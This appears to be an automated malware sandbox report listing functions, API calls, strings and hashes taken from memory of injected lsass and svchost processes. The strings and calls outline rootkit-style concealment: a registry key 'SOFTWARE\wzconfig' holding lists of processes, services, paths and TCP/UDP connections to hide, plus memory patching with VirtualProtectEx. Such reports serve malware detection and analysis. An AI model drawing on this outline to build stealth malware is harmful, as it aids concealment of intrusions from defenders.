Instruction Fuzzy Hash: 9751A1B2108B88CAEB788F15A44439877B0FB54B98F5D4115EA8D47BD7CBB8D4D2CB00

Function 0000017D2DD52F18 Relevance: 6.3, APIs: 5, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000017D2DD52F3B
HeapAlloc.KERNEL32 ref: 0000017D2DD52F4E
StrCmpNIW.SHLWAPI ref: 0000017D2DD52FC3
GetProcessHeap.KERNEL32 ref: 0000017D2DD53029
HeapFree.KERNEL32 ref: 0000017D2DD53037

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 787e2ccd3a4a2f0807cc7fcfab9808ef1bc99af934d1353d068844bd3f29b985
Instruction ID: 54f9e5e9d44ab499b75b5659f2a4b467d5f91330215d6b7b2f458f4dfb7fba1c
Opcode Fuzzy Hash: 787e2ccd3a4a2f0807cc7fcfab9808ef1bc99af934d1353d068844bd3f29b985
Instruction Fuzzy Hash: 84314C36709F5982EA54DF1AF9447A967B0BF44B80F0C8120AF4C47B56EB78D4AB8740

Function 0000017D2DD625C8 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000017D2DD62647
WriteFile.KERNEL32 ref: 0000017D2DD6290F
WriteFile.KERNEL32 ref: 0000017D2DD62955
GetLastError.KERNEL32 ref: 0000017D2DD62A0B

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ef5328ec8df5305a5bebb05340c2e4b6dc17e77d604934f64985ec379b581ae8
Instruction ID: 20055ba21df562614c06cc987502ba0b446227129318bac7390367b70cdc54a4
Opcode Fuzzy Hash: ef5328ec8df5305a5bebb05340c2e4b6dc17e77d604934f64985ec379b581ae8
Instruction Fuzzy Hash: E5D1A232719B8899E721CF69E4403EC3BB1FB54798F588216DE5D97B9ADA34C487C380

Function 0000017D2DD62EF0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0000017D2DD6300C
GetLastError.KERNEL32 ref: 0000017D2DD63097

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 43d1806d22cf26bb578584b1f50928cd79f72239213f1d2f409b9d03dcc02cf4
Instruction ID: be3d7da99a44cf06035a3b661a4036c74b4374953cba13c1359ed8f0bc95d2a8
Opcode Fuzzy Hash: 43d1806d22cf26bb578584b1f50928cd79f72239213f1d2f409b9d03dcc02cf4
Instruction Fuzzy Hash: 8D919E72708B5886F7609F69B8403ED2BB0AB45B88F1C4109DE9E67696DB39C4C7C780

Function 0000017D2DD57970 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000017D2DD5799C
GetCurrentThreadId.KERNEL32 ref: 0000017D2DD579AA
GetCurrentProcessId.KERNEL32 ref: 0000017D2DD579B6
QueryPerformanceCounter.KERNEL32 ref: 0000017D2DD579C6

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c25137996cf865269d3dc01569cfdf526b316795659beb4b1a68d386b57b9efa
Instruction ID: 56d9c89a1354456b4152e3feaf7ab4f0009d3f5e52029d1d69d57cfdd1f396b7
Opcode Fuzzy Hash: c25137996cf865269d3dc01569cfdf526b316795659beb4b1a68d386b57b9efa
Instruction Fuzzy Hash: 36112A36754F498AEB00CF60F8543E833B4FB19758F481E21DA6D867A9DF78C19A8380

Function 0000017D2DD27980 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000017D2DD279AB
_IsNonwritableInCurrentImage.LIBCMT ref: 0000017D2DD27A42

Strings

csm, xrefs: 0000017D2DD27A29

Memory Dump Source

Source File: 00000009.00000002.2672695610.0000017D2DD20000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd20000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction ID: 64b258b276856c4315ce3074e58dc2a266c35d06194470ae3c2093080b27b4e1
Opcode Fuzzy Hash: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction Fuzzy Hash: 2C51B132719B08AADB74CB15F448BA973B1FB44B98F188121EA5E4778FD778D982C700

Function 0000017D2DD2A3C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 0000017D2DD2A46B

Strings

MOC, xrefs: 0000017D2DD2A433
RCC, xrefs: 0000017D2DD2A43B

Memory Dump Source

Source File: 00000009.00000002.2672695610.0000017D2DD20000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd20000_lsass.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction ID: d996bef003f02a363a34af5b0532b5cc1378eca6726f4d65e603343d0348d5b5
Opcode Fuzzy Hash: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction Fuzzy Hash: 53615972508FC885EB608B15F4443DAB7B4FB89B94F085215EB9D47B9ADB38C1D6CB00

Function 0000017D2DD52338 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000017D2DD5241E
StrCpyW.SHLWAPI ref: 0000017D2DD52435

Strings

\\.\pipe\, xrefs: 0000017D2DD52429

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ee842ef1b9af794ce5f9c57276e32575cf678b56a57e7c1674317c9bf9c17d00
Instruction ID: cf1a959bab5dd1f4c0482c38ebf77f020251721e11ee56a50850cedb394e5fe8
Opcode Fuzzy Hash: ee842ef1b9af794ce5f9c57276e32575cf678b56a57e7c1674317c9bf9c17d00
Instruction Fuzzy Hash: FD51F93220CF8981E625DE29B4543EE6BB5FB95744F8C8115DE9E03B9BCA79C4CB8740

Function 0000017D2DD62C60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000017D2DD62D77
GetLastError.KERNEL32 ref: 0000017D2DD62D99

Strings

U, xrefs: 0000017D2DD62D23

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 6a2d2f89dbe45a9fea545bcb4aa06eef1d3c7bdcbbdd9a8edf910a903994b9b4
Instruction ID: 73a416b5944e276f2573bbea5e48b6f2d5f89e4f55dffa26d4c7022a4584330a
Opcode Fuzzy Hash: 6a2d2f89dbe45a9fea545bcb4aa06eef1d3c7bdcbbdd9a8edf910a903994b9b4
Instruction Fuzzy Hash: 7F41A472719F8486DB209F25F8443D967B0FB98784F498121EE4D87799EB7CC482CB80

Function 0000017D2DD58A58 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000017D2DD58AA8
RaiseException.KERNEL32 ref: 0000017D2DD58AE9

Strings

csm, xrefs: 0000017D2DD58AD6

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d7810ab3a0ec9818877cf1b3e283a106e6e962497adc233d094785ed36f44b7e
Instruction ID: 532e8c491c2937e0962773f4e85e25c644e83c9141cc0e3b256ca70433223cfe
Opcode Fuzzy Hash: d7810ab3a0ec9818877cf1b3e283a106e6e962497adc233d094785ed36f44b7e
Instruction Fuzzy Hash: 73112B36219F8482EB618F25F44029977F4FB88B94F5C4224EB8D07765EF7DC5928B40

Function 0000017D2DD51BFC Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000017D2DD51C35
HeapAlloc.KERNEL32 ref: 0000017D2DD51C43
GetProcessHeap.KERNEL32 ref: 0000017D2DD51C7F
HeapFree.KERNEL32 ref: 0000017D2DD51C8D

Part of subcall function 0000017D2DD51534: StrCmpIW.SHLWAPI ref: 0000017D2DD51565

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 1e98e18f6346a7606d876eb22bc804523d63b476fed3d5047e07684f33477b56
Instruction ID: 68e8b1febf842112ef1852bde589c052e9c51d18d31615125d5cae841ebc14e8
Opcode Fuzzy Hash: 1e98e18f6346a7606d876eb22bc804523d63b476fed3d5047e07684f33477b56
Instruction Fuzzy Hash: FC113A35606F8881EA54DB66B8042A9B7B1FF89FC0F1D4068DE4D97766DE79D4838380

Function 0000017D2DD51268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000017D2DD5126E
HeapAlloc.KERNEL32 ref: 0000017D2DD5127D
GetProcessHeap.KERNEL32 ref: 0000017D2DD51297
HeapAlloc.KERNEL32 ref: 0000017D2DD512A8

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: f1bcd8aa1abc8590651bf66f0bbd1f21628ae84c1cd742650bcaa24afb1b9de1
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 2FE03939641B4886EB048B62F80838A36F1EB89B06F0880248A0947352DF7D84DAC7D0

Analysis Process: svchost.exePID: 912, Parent PID: 5480COMMON

Execution Graph

Execution Coverage:	0.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	74
Total number of Limit Nodes:	2

Executed Functions

Function 0000022F4B9232A0 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000022F4B9232C2
PathFindFileNameW.SHLWAPI ref: 0000022F4B9232D1

Part of subcall function 0000022F4B923858: StrCmpNIW.SHLWAPI ref: 0000022F4B923870

Part of subcall function 0000022F4B9237A4: GetModuleHandleW.KERNEL32 ref: 0000022F4B9237B2
Part of subcall function 0000022F4B9237A4: GetCurrentProcess.KERNEL32 ref: 0000022F4B9237E0
Part of subcall function 0000022F4B9237A4: VirtualProtectEx.KERNEL32 ref: 0000022F4B923802
Part of subcall function 0000022F4B9237A4: GetCurrentProcess.KERNEL32 ref: 0000022F4B92381D
Part of subcall function 0000022F4B9237A4: VirtualProtectEx.KERNEL32 ref: 0000022F4B92383E

CreateThread.KERNEL32 ref: 0000022F4B92331F

Part of subcall function 0000022F4B921D1C: GetCurrentThread.KERNEL32 ref: 0000022F4B921D27

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: fd13d599d4a1a9a129cf8228822ebf0962c6205abdf5c3edc3572841aa0737cc
Instruction ID: d81be12686201a910b7a8ac82212fa99a14c3db81ea8597e4b677e2590b7596c
Opcode Fuzzy Hash: fd13d599d4a1a9a129cf8228822ebf0962c6205abdf5c3edc3572841aa0737cc
Instruction Fuzzy Hash: 1E115E28E18641AAFBD8BFE1EB2D35B23B4A794705F404435974646193DFBCC148C211

Function 0000022F4B921AC4 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000022F4B921630: GetProcessHeap.KERNEL32 ref: 0000022F4B92163B
Part of subcall function 0000022F4B921630: HeapAlloc.KERNEL32 ref: 0000022F4B92164A
Part of subcall function 0000022F4B921630: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B9216BA
Part of subcall function 0000022F4B921630: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B9216E7
Part of subcall function 0000022F4B921630: RegCloseKey.ADVAPI32 ref: 0000022F4B921701
Part of subcall function 0000022F4B921630: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921721
Part of subcall function 0000022F4B921630: RegCloseKey.ADVAPI32 ref: 0000022F4B92173C
Part of subcall function 0000022F4B921630: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B92175C
Part of subcall function 0000022F4B921630: RegCloseKey.ADVAPI32 ref: 0000022F4B921777
Part of subcall function 0000022F4B921630: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921797
Part of subcall function 0000022F4B921630: RegCloseKey.ADVAPI32 ref: 0000022F4B9217B2
Part of subcall function 0000022F4B921630: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B9217D2

Sleep.KERNEL32 ref: 0000022F4B921ADF
SleepEx.KERNELBASE ref: 0000022F4B921AE5

Part of subcall function 0000022F4B921630: RegCloseKey.ADVAPI32 ref: 0000022F4B9217ED
Part of subcall function 0000022F4B921630: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B92180D
Part of subcall function 0000022F4B921630: RegCloseKey.ADVAPI32 ref: 0000022F4B921828
Part of subcall function 0000022F4B921630: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921848
Part of subcall function 0000022F4B921630: RegCloseKey.ADVAPI32 ref: 0000022F4B921863
Part of subcall function 0000022F4B921630: RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921883
Part of subcall function 0000022F4B921630: RegCloseKey.ADVAPI32 ref: 0000022F4B92189E
Part of subcall function 0000022F4B921630: RegCloseKey.ADVAPI32 ref: 0000022F4B9218A8

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 96bbb6c5dfaa89c5ee4f9b47efdaf229a391d86e69f5c9ec07006103e4739bcd
Instruction ID: 9c87387f8f48b234e737faba1eb93da8d1be4e29d7256ac226bb75817f586ff6
Opcode Fuzzy Hash: 96bbb6c5dfaa89c5ee4f9b47efdaf229a391d86e69f5c9ec07006103e4739bcd
Instruction Fuzzy Hash: EA31CF6DE10615A1FBD8BFF2D76827B23B4AB44BC0F1458315F098769BEE98C4B1C250

Function 0000022F4B8F2750 Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0000022F4B8F2872

Memory Dump Source

Source File: 0000000A.00000002.2651743458.0000022F4B8F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B8F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b8f0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: bb5512ff0dbf2d6757295d58d983556dc14fa88658f0bb5d8736df877bd06eb8
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 7A61153AF0169497DF949F95D204F6AB3A2F744B95F588130EF190778AEA78D823C700

Function 0000022F4B923858 Relevance: 1.3, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 0000022F4B923870

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bcdd8bc399243b85fdbdeadd6d3938df9384e511b8271d9569c855e29d0cd8c
Instruction ID: a66383d20355286b729e5a719099632fc3136ca55460e893d02ffc0528a6567d
Opcode Fuzzy Hash: 0bcdd8bc399243b85fdbdeadd6d3938df9384e511b8271d9569c855e29d0cd8c
Instruction Fuzzy Hash: 79D05E2CF15205AAFB98EFE5C9E96622371DB08744F885032CB0046241EBA9C98EDB10

Non-executed Functions

Function 0000022F4B922B40 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000022F4B922BE4
lstrlenW.KERNEL32 ref: 0000022F4B922E1E

Part of subcall function 0000022F4B9219A4: OpenProcess.KERNEL32 ref: 0000022F4B9219CA
Part of subcall function 0000022F4B9219A4: K32GetModuleFileNameExW.KERNEL32 ref: 0000022F4B9219E8
Part of subcall function 0000022F4B9219A4: PathFindFileNameW.SHLWAPI ref: 0000022F4B9219F7
Part of subcall function 0000022F4B9219A4: lstrlenW.KERNEL32 ref: 0000022F4B921A03
Part of subcall function 0000022F4B9219A4: StrCpyW.SHLWAPI ref: 0000022F4B921A16
Part of subcall function 0000022F4B9219A4: CloseHandle.KERNEL32 ref: 0000022F4B921A24

GetProcAddress.KERNEL32 ref: 0000022F4B922BF9

Part of subcall function 0000022F4B921534: StrCmpIW.SHLWAPI ref: 0000022F4B921565

Part of subcall function 0000022F4B923858: StrCmpNIW.SHLWAPI ref: 0000022F4B923870

StrCmpNIW.SHLWAPI ref: 0000022F4B922C3C
lstrlenW.KERNEL32 ref: 0000022F4B922D64

Strings

\Device\Nsi, xrefs: 0000022F4B922C2F
ntdll.dll, xrefs: 0000022F4B922BDD
NtQueryObject, xrefs: 0000022F4B922BEF

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 26544e6c5f0419fcfe813128afc281aff9572a7b63f13a5f121835e5e6e69d00
Instruction ID: 51cb9ab855fb66ec8be5d2d1826b638288ed67a0bdea995acf2a15a3ab2e5b50
Opcode Fuzzy Hash: 26544e6c5f0419fcfe813128afc281aff9572a7b63f13a5f121835e5e6e69d00
Instruction Fuzzy Hash: 6AB1AF3AE10690A1FF9CAFA5D6287AA77B4FB44B84F045836DF0953796DAB8CC44C340

Function 0000022F4B927D90 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000022F4B927DAC
RtlCaptureContext.NTDLL ref: 0000022F4B927DD9
RtlLookupFunctionEntry.NTDLL ref: 0000022F4B927DF3
RtlVirtualUnwind.NTDLL ref: 0000022F4B927E34
IsDebuggerPresent.KERNEL32 ref: 0000022F4B927E88
SetUnhandledExceptionFilter.KERNEL32 ref: 0000022F4B927EA5
UnhandledExceptionFilter.KERNEL32 ref: 0000022F4B927EB0

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 7dccb9baa4819195bc910d82c93c9c94a074eef8dbf9c6936f7d6f4099627f79
Instruction ID: daf21aeda4cf789a077210658cbf193bd70b68446a02b37c2ce59d0c9b579d2a
Opcode Fuzzy Hash: 7dccb9baa4819195bc910d82c93c9c94a074eef8dbf9c6936f7d6f4099627f79
Instruction Fuzzy Hash: 2531507AA05B8096EBA4AFA0E8943EE7370F788704F44443ADB4E57B95DF78C648C710

Function 0000022F4B92D814 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000022F4B92D88D
RtlLookupFunctionEntry.NTDLL ref: 0000022F4B92D8A5
RtlVirtualUnwind.NTDLL ref: 0000022F4B92D8E0
IsDebuggerPresent.KERNEL32 ref: 0000022F4B92D919
SetUnhandledExceptionFilter.KERNEL32 ref: 0000022F4B92D923
UnhandledExceptionFilter.KERNEL32 ref: 0000022F4B92D92E

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 8ad7b10046b838cd94577b5e5c393489478853aa225d9b7cfe16be4989e4b7af
Instruction ID: d68bef7e754f2b56ef7aacb53c210abe35860cc64dcad5b52c78b87a060c9552
Opcode Fuzzy Hash: 8ad7b10046b838cd94577b5e5c393489478853aa225d9b7cfe16be4989e4b7af
Instruction Fuzzy Hash: B631BC3AA04B8096EBA4DF64E89439E33B0F788754F440136EB9D43BAADF78C145CB00

Function 0000022F4B921630 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000022F4B92163B
HeapAlloc.KERNEL32 ref: 0000022F4B92164A

Part of subcall function 0000022F4B921268: GetProcessHeap.KERNEL32 ref: 0000022F4B92126E
Part of subcall function 0000022F4B921268: HeapAlloc.KERNEL32 ref: 0000022F4B92127D
Part of subcall function 0000022F4B921268: GetProcessHeap.KERNEL32 ref: 0000022F4B921297
Part of subcall function 0000022F4B921268: HeapAlloc.KERNEL32 ref: 0000022F4B9212A8

RegOpenKeyExW.ADVAPI32 ref: 0000022F4B9216BA
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B9216E7
RegCloseKey.ADVAPI32 ref: 0000022F4B921701
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921721
RegCloseKey.ADVAPI32 ref: 0000022F4B92173C
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B92175C
RegCloseKey.ADVAPI32 ref: 0000022F4B921777
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921797
RegCloseKey.ADVAPI32 ref: 0000022F4B9217B2
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B9217D2
RegCloseKey.ADVAPI32 ref: 0000022F4B9217ED
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B92180D
RegCloseKey.ADVAPI32 ref: 0000022F4B921828
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921848
RegCloseKey.ADVAPI32 ref: 0000022F4B921863
RegOpenKeyExW.ADVAPI32 ref: 0000022F4B921883
RegCloseKey.ADVAPI32 ref: 0000022F4B92189E
RegCloseKey.ADVAPI32 ref: 0000022F4B9218A8

Part of subcall function 0000022F4B9212BC: RegQueryInfoKeyW.ADVAPI32 ref: 0000022F4B921319
Part of subcall function 0000022F4B9212BC: GetProcessHeap.KERNEL32 ref: 0000022F4B921327
Part of subcall function 0000022F4B9212BC: HeapAlloc.KERNEL32 ref: 0000022F4B921338
Part of subcall function 0000022F4B9212BC: RegEnumValueW.ADVAPI32 ref: 0000022F4B921397
Part of subcall function 0000022F4B9212BC: GetProcessHeap.KERNEL32 ref: 0000022F4B9213DF
Part of subcall function 0000022F4B9212BC: HeapAlloc.KERNEL32 ref: 0000022F4B9213ED
Part of subcall function 0000022F4B9212BC: GetProcessHeap.KERNEL32 ref: 0000022F4B92140A
Part of subcall function 0000022F4B9212BC: HeapFree.KERNEL32 ref: 0000022F4B921418
Part of subcall function 0000022F4B9212BC: lstrlenW.KERNEL32 ref: 0000022F4B921421
Part of subcall function 0000022F4B9212BC: GetProcessHeap.KERNEL32 ref: 0000022F4B92142F
Part of subcall function 0000022F4B9212BC: HeapAlloc.KERNEL32 ref: 0000022F4B92143D

Strings

tcp_local, xrefs: 0000022F4B921806
pid, xrefs: 0000022F4B92171A
SOFTWARE\wzconfig, xrefs: 0000022F4B92169A
paths, xrefs: 0000022F4B921790
process_names, xrefs: 0000022F4B921755
tcp_remote, xrefs: 0000022F4B921841
udp, xrefs: 0000022F4B92187C
service_names, xrefs: 0000022F4B9217CB
startup, xrefs: 0000022F4B9216DD

Memory Dump Source

Source File: 0000000A.00000002.2653068805.0000022F4B920000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\wzconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-440640706
Opcode ID: 7c4a1d948d205c8ebe001ad381780c1a24ce9ec132a6c0bfe6eb7dfad1714e50
Instruction ID: 07b52497162d2f56f919d96e9523d5bb8b506c1fe4e47d473566f76a78e36670
Opcode Fuzzy Hash: 7c4a1d948d205c8ebe001ad381780c1a24ce9ec132a6c0bfe6eb7dfad1714e50
Instruction Fuzzy Hash: 8271343AF14A5095EB50AFE2E9A965E2374F749B88F002531DF4D43B6ADF78C464C700

Function 0000022F4B9212BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000022F4B921319
GetProcessHeap.KERNEL32 ref: 0000022F4B921327
HeapAlloc.KERNEL32 ref: 0000022F4B921338
RegEnumValueW.ADVAPI32 ref: 0000022F4B921397

Part of subcall function 0000022F4B921534: StrCmpIW.SHLWAPI ref: 0000022F4B921565

GetProcessHeap.KERNEL32 ref: 0000022F4B9213DF
HeapAlloc.KERNEL32 ref: 0000022F4B9213ED
GetProcessHeap.KERNEL32 ref: 0000022F4B92140A
HeapFree.KERNEL32 ref: 0000022F4B921418
lstrlenW.KERNEL32 ref: 0000022F4B921421
GetProcessHeap.KERNEL32 ref: 0000022F4B92142F
HeapAlloc.KERNEL32 ref: 0000022F4B92143D
StrCpyW.SHLWAPI ref: 0000022F4B92145F
GetProcessHeap.KERNEL32 ref: 0000022F4B921476
